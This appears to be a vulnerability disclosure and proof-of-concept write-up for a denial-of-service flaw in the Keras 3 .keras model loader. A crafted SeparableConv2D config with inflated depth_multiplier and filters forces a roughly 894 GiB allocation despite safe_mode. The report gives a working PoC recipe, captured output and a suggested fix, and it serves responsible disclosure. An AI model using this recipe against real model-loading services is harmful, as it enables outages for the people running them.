EnigmaConsultant/huntr-poc-keras-separableconv2d-depthmult-filters-pointwise-alloc-oom

Keras 3 .keras loader: SeparableConv2D depth_multiplier × filters pointwise-kernel unbounded build-time allocation (safe_mode bypass)

Target

• Project: Keras 3 (keras)
• Version tested: keras 3.15.0, numpy backend, Python 3.13, numpy float64 init
• Vulnerable API: keras.saving.load_model() on a .keras v3 (zip) archive
• Class: CWE-789 Memory Allocation with Excessive Size Value (uncontrolled resource consumption / DoS) reachable at model-load time, safe_mode=True.

Summary

Loading an attacker-supplied .keras archive triggers an unbounded memory allocation before any weight tensor is read. During deserialization, serialization_lib.deserialize_keras_object() unconditionally calls instance.build_from_config(build_config) with no shape validation. For a SeparableConv2D layer this reaches base_separable_conv.py build(), which computes the pointwise kernel shape as

pointwise_kernel_shape = (1,) * rank + (depth_multiplier * input_channel, filters)

and materializes it via self.add_weight(...) using the GlorotUniform initializer. Both depth_multiplier and filters are attacker-controlled integers in the tiny config.json layer config. The pointwise-kernel element count is their product times input_channel, so two independent config ints multiply — a stronger amplification than the single-int Conv2D/DepthwiseConv paths. compute_output_shape() (called first) only checks that output dims are positive; it does not bound the kernel element count. safe_mode=True provides no protection — it only guards __lambda__ deserialization.

Root cause (code path)

serialization_lib.py:787 (build called with no validation):

instance.build_from_config(build_config)

layers/convolutional/base_separable_conv.py build() (lines ~173–191):

pointwise_kernel_shape = (1,) * self.rank + (
    self.depth_multiplier * input_channel,   # attacker-controlled dm
    self.filters,                            # attacker-controlled filters
)
...
self.pointwise_kernel = self.add_weight(
    name="pointwise_kernel",
    shape=pointwise_kernel_shape,
    initializer=self.pointwise_initializer,   # GlorotUniform -> random.uniform
    ...
)

initializers/random_initializers.py:316 → backend/numpy/random.py:23:

return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype)

The numpy backend generates the array as float64 first, so the peak spike is 8× the nominal float32 size.

Distinctness (not a duplicate of Conv2D / DepthwiseConv paths)

• Conv2D filters path: single kernel = filters × kernel_size × groups (one config int).
• DepthwiseConv depth_multiplier path: depthwise_kernel only = kh·kw·in·depth_multiplier (no filters/pointwise term).
• This finding: distinct code site base_separable_conv.py:191 (pointwise_kernel) with a distinct amplification — the product of two independent config ints depth_multiplier × filters × input_channel. SeparableConv2D also has an independent depthwise-kernel path, but the pointwise product dominates and is the demonstrated trigger.

The declared dimensions are fully decoupled from the actual weight data: model.weights.h5 still contains only the benign baseline tensors — the archive stays ~1.8 KB while forcing a ~894 GiB allocation.

PoC

Build a genuine tiny model, then repackage the archive with inflated config ints (kept model.weights.h5 untouched):

m = keras.Sequential([keras.layers.Input((8,8,3)),
    keras.layers.SeparableConv2D(filters=4, kernel_size=3, depth_multiplier=2)])
m.save("base.keras")
# repackage: config.depth_multiplier=200000, config.filters=200000,
#            build_config.input_shape=[null,8,8,3]  (input_channel=3)
keras.saving.load_model("evil_huge.keras", safe_mode=True, compile=False)

Resulting evil_huge.keras is 1846 bytes. The loader attempts to allocate a pointwise kernel of shape (1,1,600000,200000) = 200000·3 × 200000 = 1.2e14 elements and raises MemoryError (894 GiB) during build_from_config, before any weight is read.

Files (this repo): build_and_verify.py (harness), base.keras, evil_med.keras, evil_huge.keras.

Captured evidence (verbatim, keras 3.15.0, numpy backend)

keras 3.15.0 backend numpy baseline 273 MB
[base] 12552B pointwise_elems=24 -> loaded OK, peak 274 MB
[evil_med] 1846B pointwise_elems=48,000,000 -> ValueError: A total of 1 objects could not be loaded. Example error message for object <SeparableConv2 | peak 824 MB
[evil_huge] 1846B pointwise_elems=120,000,000,000 -> MemoryError: Unable to allocate 894. GiB for an array with shape (1, 1, 600000, 200000) and data type f | peak 824 MB

• Negative control: base.keras loads OK at ~274 MB peak RSS.
• Scaling control: evil_med.keras (dm=4000, filters=4000 → 48,000,000 pointwise elems) drove peak RSS from ~273 MB baseline to ~824 MB, then failed on a later weight-shape mismatch — empirically confirming allocation scales with the depth_multiplier × filters product before the weight check.

Verbatim traceback (evil_huge)

  File ".../saving/serialization_lib.py", line 787, in deserialize_keras_object
    instance.build_from_config(build_config)
  File ".../layers/layer.py", line 491, in build_from_config
  File ".../layers/layer.py", line 232, in build_wrapper
  File ".../layers/convolutional/base_separable_conv.py", line 191, in build
    self.pointwise_kernel = self.add_weight(
  File ".../layers/layer.py", line 622, in add_weight
    variable = backend.Variable(
  File ".../backend/common/variables.py", line 210, in __init__
    self._initialize_with_initializer(initializer)
  File ".../backend/common/variables.py", line 418, in _initialize_with_initializer
    initializer(self._shape, dtype=self._dtype)
  File ".../initializers/random_initializers.py", line 316, in __call__
    return random.uniform(shape, minval=-limit, maxval=limit, dtype=dtype, seed=self.seed)
  File ".../backend/numpy/random.py", line 23, in uniform
    return rng.uniform(size=shape, low=minval, high=maxval).astype(dtype)
numpy._core._exceptions._ArrayMemoryError: Unable to allocate 894. GiB for an array with shape (1, 1, 600000, 200000) and data type float64

Impact

An attacker who can get a victim to load_model() an untrusted .keras file (a common ML supply-chain / model-hub scenario) forces an immediate multi-hundred-GiB allocation that OOM-kills the process — a reliable denial of service. The trigger is a ~1.8 KB file and safe_mode=True does not mitigate it.

Suggested fix

Bound the total requested element count in build_from_config / add_weight against the actual on-disk weight-tensor size (or a configurable cap), and reject build configs whose declared kernel dimensions are decoupled from the stored weights before allocating.

Dedup note

No matching public CVE for the SeparableConv2D pointwise-kernel path at time of filing. Distinct from the separately reported Conv2D-filters and DepthwiseConv-depth_multiplier build-time allocation paths (different code site base_separable_conv.py:191, different amplification = product of two config ints). Verified by actual execution, not static reasoning.